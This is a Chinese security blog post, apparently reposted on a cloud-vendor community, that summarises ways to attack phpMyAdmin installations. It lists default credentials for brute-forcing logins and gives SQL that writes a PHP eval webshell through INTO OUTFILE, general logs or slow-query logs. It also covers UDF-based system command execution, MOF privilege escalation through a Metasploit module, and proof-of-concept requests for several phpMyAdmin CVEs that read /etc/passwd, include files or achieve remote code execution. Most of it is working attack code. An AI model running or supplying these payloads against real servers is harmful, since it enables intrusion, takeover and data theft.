前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpMyAdmin 渗透利用总结

phpMyAdmin 渗透利用总结

作者头像
重生信息安全
发布2020-03-06 15:19:19
3.8K0
发布2020-03-06 15:19:19
举报
文章被收录于专栏:重生信息安全重生信息安全
在对目标进行目录扫描时经常会遇到phpMyAdmin,特地总结下phpMyAdmin的利用思路,关于phpMyAdmin的漏洞环境可以参考vulhub,复现过的都忘记截图,请大家见谅。

一、phpMyAdmin版本判断:

也可以直接访问:/doc/html/index.html目录

二、phpMyAdmin利用: phpMyAdmin的漏洞多为经过验证后的才能利用,所以需要进入后台,可以采用爆破的方式进入后台,常用的有:

代码语言:javascript
复制
root:root 
root:(space)
mysql:mysql 
……

1.最常使用的get shell方式: 直接用into outfile 直接在网站目录下写入webshell,但是该方法需要前提条件是: (1) 当前的数据库用户有写权限 (2) 知道web绝对路径 (3) web路径能写

1.1 如何判断当前数据库用户有写权限? 执行:

代码语言:javascript
复制
show variables like '%secure%';

如果secure_file_priv如果非空,则只能在对应的目录下读文件,如果是空即可在其他目录写。Linux下默认/tmp目录可写。

1.2 web绝对路径:在可读写的前提下如何获取web路径? (1) phpinfo() 页面:最理想的情况,直接显示web路径 (2) web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径 (3) 一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径

代码语言:javascript
复制
show variables like '%datadir%';

再猜解web路径的方法,一般容易成功。 (4)) 利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件。

Trick:如何判断目录是否存在,往往确定了/var/www/html目录,但是还有一层目录不能 确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用

代码语言:javascript
复制
select 'test' into outfile '/var/www/$fuzz$/shell.php';

时目录$fuzz$不存在将会报错Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);如果存在但是目录写不进去将返回(Errcode: 13);如果使用的

代码语言:javascript
复制
load data infile "/etc/passwd" into table test;

该语句执行后将也会显示文件是否存在,有权限能否写等信息。

1.3 web路径可写: 在知道web路径的基础上,使用

代码语言:javascript
复制
select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/xx/shell.php';

会 报 错 提 示 Can't create/write to file '/var/www/html/666.txt' (Errcode: 13) ,证明目录不可写,可以尝试网站下其他目录, 如

代码语言:javascript
复制
/upload
/templates
/cache

等目录。

2.日志get shell: 前提:读写权限+web绝对路径,修改日志文件为webshell 2.1通过写入日志文件getshell,具体方法如下: (1) 开启日志记录:

代码语言:javascript
复制
set global general_log = "ON";

(2) 查看当前的日志目录:

代码语言:javascript
复制
show variables like 'general%';

(3) 指定日志文件

代码语言:javascript
复制
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/404.php";

(4)) 写入执行代码:

代码语言:javascript
复制
select "<?php phpinfo();?>";

2.2 通过慢查询写入webshell,具体方法如下: (1) 查看当前慢查询日志目录:

代码语言:javascript
复制
show variables like '%slow%';

(2) 重新设置路径:

代码语言:javascript
复制
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';

(3) 开启慢查询日志:

代码语言:javascript
复制
set GLOBAL slow_query_log=on;

(4)) 执行写入日志:

代码语言:javascript
复制
select '<?php phpinfo();?>' from mysql.db where sleep(10);

3.User defined funct ion(UDF): 适用于Windows和Linux环境,利用需要的条件:具有写权限+插件目录可写(或者可以更改指定的插件目录)。具体情况要看目标mysql的版本: (1)Mysql version > 5.1 时,dll或者so必须位于mysql安装目录lib\plugin下,当对该目录具有写权限时可以利用,查看:

代码语言:javascript
复制
show variables like %plugin%;// 查看插件目录

(2)5.0 <= Mysql version <5.1时,需要导出至目标服务器的系统目录,如C://Windows/System32 (3)Mysql version < 5.0 时,目录可以自定义具体利用如下: (1)根据目标mysql版本写入特定目录的so或者dll,可以参考sqlmap里面的

代码语言:javascript
复制
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

(2)创建对应的function:

代码语言:javascript
复制
create function sys_eval returns string soname "lib_mysqludf_sys.dll";

(3)执行命令:

代码语言:javascript
复制
select * from mysql.func where name = 'sys_eval';   #查看创建的sys_eval函数
select sys_eval('whoami');                          #使用系统命令

4.MOF提权: 通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次上传的MOF。一般适用于Windows <= 2003,并且C:\Windows\System32\mof目录具有写权限(一般是没有权限写)。可以使用MSF直接利用:

代码语言:javascript
复制
use exploit/windows/mysql/mysql_mof
set rhost 192.168.1.5
set rport 3306
set password root
set username root
exploit

三、phpMyAdmin漏洞利用

1. WooYun-2016-1994 33:任意文件读取漏洞 影响phpMyAdmin 2.x版本,poc如下:

代码语言:javascript
复制
POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

2. CVE-2014 -8959:本地文件包含 影响范围:phpMyAdmin 4 .0.1--4 .2.12,需要PHP version < 5.3.4 ,Poc如下:

代码语言:javascript
复制
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # 注意改下token值

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。

3. CVE-2016-5734 :后台RCE 影响范围:PhpMyAdmin 4 .0.x-4 .6.2,需要PHP 4 .3.0-5.4 .6 versions,利用如下:

代码语言:javascript
复制
cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

4 . CVE-2018-1261:后台文件包含 phpMyAdmin 4 .8.0和4 .8.1,经过验证可实现任意文件包含。利用如下: (1)执行SQL语句,将PHP代码写入Session文件中:

代码语言:javascript
复制
select '<?php phpinfo();exit;?>'

(2)包含session文件:

代码语言:javascript
复制
http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # *** 为phpMyAdmin的COOKIE值

5. CVE-2018-19968:任意文件包含/RCE phpMyAdmin 4 .8.0~4 .8.3,利用如下: (1)创建数据库,并将PHP代码写入Session文件中

代码语言:javascript
复制
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

(2)生成foo数据库的phpMyAdmin的配置表,访问:

代码语言:javascript
复制
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

(3)篡改数据插入pma column_info中:

代码语言:javascript
复制
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值

这里要注意不用系统的session保存位置不同,具体系统可以在phpMyAdmin登录后首页看到

MacOS:

代码语言:javascript
复制
/var/tmp

Linux:

代码语言:javascript
复制
/var/lib/php/sessions

phpStudy:

代码语言:javascript
复制
/phpstudy/PHPTutorial/tmp/tmp

(4)访问包含Session文件的地址:

代码语言:javascript
复制
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档